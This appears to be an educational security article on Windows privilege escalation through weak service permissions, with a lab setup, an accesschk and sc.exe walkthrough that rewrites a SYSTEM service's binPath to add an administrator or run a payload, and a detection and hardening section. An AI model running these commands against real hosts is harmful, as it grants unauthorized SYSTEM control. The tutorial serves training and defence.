Disclaimer: This article is for educational purposes and authorized security testing only. Only run these techniques against systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.
Introduction / Overview
Windows services run with their own configured account, and many run as LocalSystem (NT AUTHORITY\SYSTEM). A service object is a securable object protected by a Discretionary Access Control List (DACL). If an administrator (or a sloppy installer) grants a low-privileged user or group the SERVICE_CHANGE_CONFIG right on a SYSTEM service, that user can rewrite the service's binary path (binPath) and have arbitrary code executed as SYSTEM on the next service start.
This is one of the most reliable local privilege escalation primitives on Windows and maps directly to MITRE ATT&CK T1574.011 — Hijack Execution Flow: Services Registry Permissions Weakness (and the broader T1543.003 — Windows Service). In this article you'll learn how to enumerate weak service ACLs with accesschk, confirm the exact granted right, abuse it with sc config, and — just as importantly — how a blue team detects and prevents it.
How it works / Background
Every service has a security descriptor exposed through the Service Control Manager (SCM). The access rights that matter for this attack are:
SERVICE_CHANGE_CONFIG— modify the service configuration, includingbinPath, the start type, and the run-as account. This is the key right for the attack.SERVICE_START/SERVICE_STOP— start and stop the service so your new config takes effect.SERVICE_ALL_ACCESS— full control (implies all of the above).WRITE_DAC/WRITE_OWNER— rewrite the DACL itself, which lets you grant yourself anything.
If you hold SERVICE_CHANGE_CONFIG, you can point binPath at any command line. When the service starts, the SCM launches your command line in the security context configured for the service. If that account is LocalSystem, your payload runs as SYSTEM.
A subtlety worth understanding: for a true Windows service the binary is expected to talk back to the SCM. A generic command (like net user ...) is not a real service, so the SCM will report a 1053 timeout error after ~30 seconds — but the command still executes. That's all the attacker needs.
Prerequisites / Lab setup
- A Windows 10/11 or Server target where you have a non-admin shell.
accesschk.exefrom Sysinternals (Microsoft-signed): https://learn.microsoft.com/sysinternals/downloads/accesschk- Built-in
sc.exefor service configuration.
To build a deliberately vulnerable service in a lab, create a service and weaken its DACL so the Users group gets change-config rights:
# Run as Administrator in the LAB only
sc.exe create VulnSvc binPath= "C:\Windows\System32\notepad.exe" start= demand
# Grant the built-in Users group SERVICE_CHANGE_CONFIG via an SDDL ACE (RPWPDTRC = start/stop/...; CC = SERVICE_CHANGE_CONFIG)
sc.exe sdset VulnSvc "D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWLOCRRC;;;IU)(A;;DCRPWP;;;BU)"
The (A;;DCRPWP;;;BU) ACE grants the Built-in Users group WP (SERVICE_CHANGE_CONFIG), RP (SERVICE_START), and DC (SERVICE_STOP) — exactly the dangerous combination.
Attack walkthrough / PoC
Step 1 — Enumerate services with weak permissions
Use accesschk to find services where your current user, the Users group, or Authenticated Users has write access. The -u suppresses errors, -w shows only write access, -c targets services, and * enumerates all of them.
# All services writable by "Authenticated Users"
accesschk.exe -uwcqv "Authenticated Users" * -accepteula
# Or check a specific principal / your own user
accesschk.exe -uwcqv "%USERNAME%" * -accepteula
# Inspect ONE service in detail
accesschk.exe -uwcqv VulnSvc -accepteula
A vulnerable result looks like this:
RW VulnSvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG <-- the prize
SERVICE_START
SERVICE_STOP
READ_CONTROL
The presence of SERVICE_CHANGE_CONFIG (or SERVICE_ALL_ACCESS) for a group you belong to is the green light. If you only have a PowerShell prompt and no accesschk, the built-in Get-Acl can't read service descriptors directly, but sc.exe sdshow VulnSvc dumps the SDDL string — look for an ACE containing WP for a SID you control (BU, IU, AU, or your own).
Step 2 — Identify the service account
Confirm the service runs as SYSTEM (otherwise you only escalate to whatever account it uses):
sc.exe qc VulnSvc
Look for SERVICE_START_NAME : LocalSystem in the output.
Step 3 — Rewrite binPath
Repoint the binary to a payload. A common first move is to add yourself to the local Administrators group. Note the spaces after = — sc.exe requires binPath= value, not binPath=value.
sc.exe config VulnSvc binPath= "cmd.exe /c net localgroup administrators pentest /add"
You can also flip the start type to auto and ensure the run-as account is SYSTEM in the same breath if needed:
sc.exe config VulnSvc binPath= "cmd.exe /c C:\Windows\Temp\rev.exe" obj= LocalSystem start= auto
Step 4 — Trigger execution
sc.exe stop VulnSvc
sc.exe start VulnSvc
The start will likely return:
[SC] StartService FAILED 1053:
The service did not respond to the start request in a timely fashion.
That error is expected — your non-service command still ran as SYSTEM. Confirm:
net localgroup administrators
You should see your account listed. Log off and back on (or open a new elevated token) to inherit the new group membership.
Step 5 — Clean up
In an authorized engagement, restore the original binPath and DACL captured during enumeration so the service still works.
Mermaid diagram

Text version: a low-privileged user enumerates service ACLs with accesschk, finds SERVICE_CHANGE_CONFIG on a SYSTEM service, rewrites its binPath, restarts it, and the SCM runs the payload as SYSTEM.
Detection & Defense (Blue Team)
Misconfigured service permissions are an installer/operations problem, so defense is mostly about auditing and hardening configuration.
1. Audit service DACLs continuously. Run the same enumeration the attacker would, as part of a baseline scan:
accesschk.exe -uwcqv "Authenticated Users" * -accepteula
accesschk.exe -uwcqv "Users" * -accepteula
accesschk.exe -uwcqv "Everyone" * -accepteula
Any non-trivial service that returns SERVICE_CHANGE_CONFIG, WRITE_DAC, WRITE_OWNER, or SERVICE_ALL_ACCESS for a broad group is a finding. PowerUp (Invoke-AllChecks) and WinPEAS surface the same issues and are useful for self-assessment.
2. Remediate by resetting the DACL. Replace the weak descriptor with a least-privilege SDDL or simply remove the offending ACE:
# Inspect, then reset to a sane descriptor (admins + SYSTEM full, users read-only)
sc.exe sdshow VulnSvc
sc.exe sdset VulnSvc "D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWLOCRRC;;;IU)"
Note the user ACE now grants only CCLCSWLOCRRC (query/enumerate/read) — no WP/DC.
3. Monitor for live abuse with the Security and System event logs.
- Event ID 7040 (System log, Service Control Manager) fires when a service's start type changes.
- Event ID 7045 fires when a new service is installed.
- A service binary path change does not have a dedicated ID, but enabling a SACL (audit ACE) on sensitive service objects produces Event ID 4670 ("Permissions on an object were changed") and object-access events. Pair this with Event ID 4697 (service installed, Security log) when "Audit Security System Extension" is on.
- Sysmon Event ID 13 (registry value set) under
HKLM\SYSTEM\CurrentControlSet\Services\<svc>\ImagePathis a high-fidelity signal thatbinPathwas rewritten.
A detection rule of the form "non-admin process spawns sc.exe config ... binPath=" or "ImagePath modified followed by service start of a SYSTEM service" catches this cleanly.
4. Reduce the blast radius.
- Run services as virtual service accounts or
NT SERVICE\<name>/ gMSA instead ofLocalSystemwhere possible. - Keep service binaries in directories non-admins cannot write to (this also blocks the related unquoted service path and weak file-permission variants).
- Apply Microsoft's recommended secure DACLs; the underlying issue is the same class addressed historically in advisories like the Windows 11 group-policy/service hardening updates.
For the bigger picture of how this fits into a full host-to-domain chain, see Windows privilege escalation enumeration and how SYSTEM-level access can pivot into credential theft for Kerberoasting.
Conclusion
Weak service permissions turn a single misplaced ACE into instant SYSTEM. The attacker's entire workflow is three tools: accesschk to find SERVICE_CHANGE_CONFIG, sc qc to confirm the SYSTEM run-as account, and sc config binPath= plus a restart to execute. For defenders, the fix is equally mechanical — audit service DACLs with the same accesschk queries, reset weak descriptors with sc sdset, and alert on ImagePath changes and sc.exe config from non-admin contexts. Treat any broad group holding write access to a SYSTEM service as a critical finding.
References
- MITRE ATT&CK — T1574.011 Hijack Execution Flow: Services Registry Permissions Weakness: https://attack.mitre.org/techniques/T1574/011/
- MITRE ATT&CK — T1543.003 Create or Modify System Process: Windows Service: https://attack.mitre.org/techniques/T1543/003/
- Sysinternals AccessChk: https://learn.microsoft.com/sysinternals/downloads/accesschk
- Microsoft
sc.exe configdocumentation: https://learn.microsoft.com/windows-server/administration/windows-commands/sc-config - HackTricks — Windows Local Privilege Escalation (Services): https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
- PowerSploit PowerUp (
Invoke-AllChecks): https://github.com/PowerShellMafia/PowerSploit



Comments